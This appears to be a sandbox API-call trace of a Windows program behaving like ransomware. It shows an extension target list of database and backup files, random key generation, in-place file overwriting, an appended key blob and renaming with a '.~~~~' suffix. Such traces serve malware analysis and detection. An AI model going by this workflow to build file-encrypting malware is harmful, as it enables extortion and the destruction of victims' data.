	[0142.646] lstrlenW (lpString=".ckp") returned 4
	[0142.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".ckp") returned 0x0
	[0142.646] lstrlenW (lpString=".dbt") returned 4
	[0142.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".dbt") returned 0x0
	[0142.647] lstrlenW (lpString=".db") returned 3
	[0142.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".db") returned 0x0
	[0142.647] lstrlenW (lpString=".TXT") returned 4
	[0142.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".TXT") returned 0x0
	[0142.647] lstrlenW (lpString=".MDF") returned 4
	[0142.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".MDF") returned 0x0
	[0142.647] lstrlenW (lpString=".bdb") returned 4
	[0142.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".bdb") returned 0x0
	[0142.647] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.647] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.648] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.648] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.649] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26263875241) returned 1
	[0142.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe6df7f0, dwHighDateTime=0x1d60e1e)) 
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa938
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa938 | out: hHeap=0x300000) returned 1
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa080
	[0142.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa080 | out: hHeap=0x300000) returned 1
	[0142.649] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.650] GetLastError () returned 0x0
	[0142.650] GetLastError () returned 0x0
	[0142.650] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.650] GetLastError () returned 0x0
	[0142.650] GetLastError () returned 0x0
	[0142.650] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x10a3, lpOverlapped=0x0) returned 1
	[0142.774] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffef5d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.774] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x10a3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x10a3, lpOverlapped=0x0) returned 1
	[0142.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.775] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.775] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.775] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.775] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.775] CloseHandle (hObject=0x104) returned 1
	[0142.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa470
	[0142.775] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif.~~~~")) returned 1
	[0142.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa470 | out: hHeap=0x300000) returned 1
	[0142.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.778] GetLastError () returned 0x0
	[0142.778] RtlWakeConditionVariable () returned 0x0
	[0142.778] GetCurrentThreadId () returned 0x9cc
	[0142.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".scr") returned 0x0
	[0142.778] lstrlenW (lpString=".cmd") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".cmd") returned 0x0
	[0142.779] lstrlenW (lpString=".dll") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dll") returned 0x0
	[0142.779] lstrlenW (lpString=".bat") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".bat") returned 0x0
	[0142.779] lstrlenW (lpString=".cpl") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".cpl") returned 0x0
	[0142.779] lstrlenW (lpString=".sys") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".sys") returned 0x0
	[0142.779] lstrlenW (lpString=".msc") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".msc") returned 0x0
	[0142.779] lstrlenW (lpString=".com") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".com") returned 0x0
	[0142.779] lstrlenW (lpString=".lnk") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".lnk") returned 0x0
	[0142.779] lstrlenW (lpString=".msp") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".msp") returned 0x0
	[0142.779] lstrlenW (lpString=".pif") returned 4
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".pif") returned 0x0
	[0142.779] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.782] lstrlenW (lpString=".sqb") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".sqb") returned 0x0
	[0142.782] lstrlenW (lpString=".ost") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".ost") returned 0x0
	[0142.782] lstrlenW (lpString=".txt") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".txt") returned 0x0
	[0142.782] lstrlenW (lpString=".mdt") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".mdt") returned 0x0
	[0142.782] lstrlenW (lpString=".BDB") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".BDB") returned 0x0
	[0142.782] lstrlenW (lpString=".eql") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".eql") returned 0x0
	[0142.782] lstrlenW (lpString=".DBF") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DBF") returned 0x0
	[0142.782] lstrlenW (lpString=".EQL") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".EQL") returned 0x0
	[0142.782] lstrlenW (lpString=".FDB") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".FDB") returned 0x0
	[0142.782] lstrlenW (lpString=".EDB") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".EDB") returned 0x0
	[0142.782] lstrlenW (lpString=".DACPAC") returned 7
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.782] lstrlenW (lpString=".VHD") returned 4
	[0142.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".VHD") returned 0x0
	[0142.782] lstrlenW (lpString=".DBV") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DBV") returned 0x0
	[0142.783] lstrlenW (lpString=".dacpac") returned 7
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.783] lstrlenW (lpString=".sdf") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".sdf") returned 0x0
	[0142.783] lstrlenW (lpString=".accdb") returned 6
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".accdb") returned 0x0
	[0142.783] lstrlenW (lpString=".DBX") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DBX") returned 0x0
	[0142.783] lstrlenW (lpString=".MDT") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".MDT") returned 0x0
	[0142.783] lstrlenW (lpString=".SQB") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".SQB") returned 0x0
	[0142.783] lstrlenW (lpString=".vhd") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".vhd") returned 0x0
	[0142.783] lstrlenW (lpString=".bac") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".bac") returned 0x0
	[0142.783] lstrlenW (lpString=".mdf") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".mdf") returned 0x0
	[0142.783] lstrlenW (lpString=".BAK") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".BAK") returned 0x0
	[0142.783] lstrlenW (lpString=".BAC") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".BAC") returned 0x0
	[0142.783] lstrlenW (lpString=".dbs") returned 4
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dbs") returned 0x0
	[0142.783] lstrlenW (lpString=".vhdx") returned 5
	[0142.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.783] lstrlenW (lpString=".NDF") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".NDF") returned 0x0
	[0142.784] lstrlenW (lpString=".dat") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dat") returned 0x0
	[0142.784] lstrlenW (lpString=".DBS") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DBS") returned 0x0
	[0142.784] lstrlenW (lpString=".CKP") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".CKP") returned 0x0
	[0142.784] lstrlenW (lpString=".edb") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".edb") returned 0x0
	[0142.784] lstrlenW (lpString=".PST") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".PST") returned 0x0
	[0142.784] lstrlenW (lpString=".dbf") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dbf") returned 0x0
	[0142.784] lstrlenW (lpString=".SQL") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".SQL") returned 0x0
	[0142.784] lstrlenW (lpString=".pst") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".pst") returned 0x0
	[0142.784] lstrlenW (lpString=".dbv") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dbv") returned 0x0
	[0142.784] lstrlenW (lpString=".SDF") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".SDF") returned 0x0
	[0142.784] lstrlenW (lpString=".dtxs") returned 5
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.784] lstrlenW (lpString=".db3") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".db3") returned 0x0
	[0142.784] lstrlenW (lpString=".OST") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".OST") returned 0x0
	[0142.784] lstrlenW (lpString=".dbx") returned 4
	[0142.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dbx") returned 0x0
	[0142.785] lstrlenW (lpString=".DB3") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DB3") returned 0x0
	[0142.785] lstrlenW (lpString=".DAT") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DAT") returned 0x0
	[0142.785] lstrlenW (lpString=".VHDX") returned 5
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.785] lstrlenW (lpString=".ndf") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".ndf") returned 0x0
	[0142.785] lstrlenW (lpString=".DB") returned 3
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DB") returned 0x0
	[0142.785] lstrlenW (lpString=".sql") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".sql") returned 0x0
	[0142.785] lstrlenW (lpString=".MYD") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".MYD") returned 0x0
	[0142.785] lstrlenW (lpString=".DBT") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DBT") returned 0x0
	[0142.785] lstrlenW (lpString=".ACCDB") returned 6
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.785] lstrlenW (lpString=".fdb") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".fdb") returned 0x0
	[0142.785] lstrlenW (lpString=".bak") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".bak") returned 0x0
	[0142.785] lstrlenW (lpString=".myd") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".myd") returned 0x0
	[0142.785] lstrlenW (lpString=".DTXS") returned 5
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.785] lstrlenW (lpString=".ckp") returned 4
	[0142.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".ckp") returned 0x0
	[0142.786] lstrlenW (lpString=".dbt") returned 4
	[0142.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".dbt") returned 0x0
	[0142.786] lstrlenW (lpString=".db") returned 3
	[0142.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".db") returned 0x0
	[0142.786] lstrlenW (lpString=".TXT") returned 4
	[0142.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".TXT") returned 0x0
	[0142.786] lstrlenW (lpString=".MDF") returned 4
	[0142.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".MDF") returned 0x0
	[0142.786] lstrlenW (lpString=".bdb") returned 4
	[0142.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".bdb") returned 0x0
	[0142.786] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.786] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.787] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.787] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.788] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26277793433) returned 1
	[0142.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe836450, dwHighDateTime=0x1d60e1e)) 
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe750
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe750 | out: hHeap=0x300000) returned 1
	[0142.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa128
	[0142.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
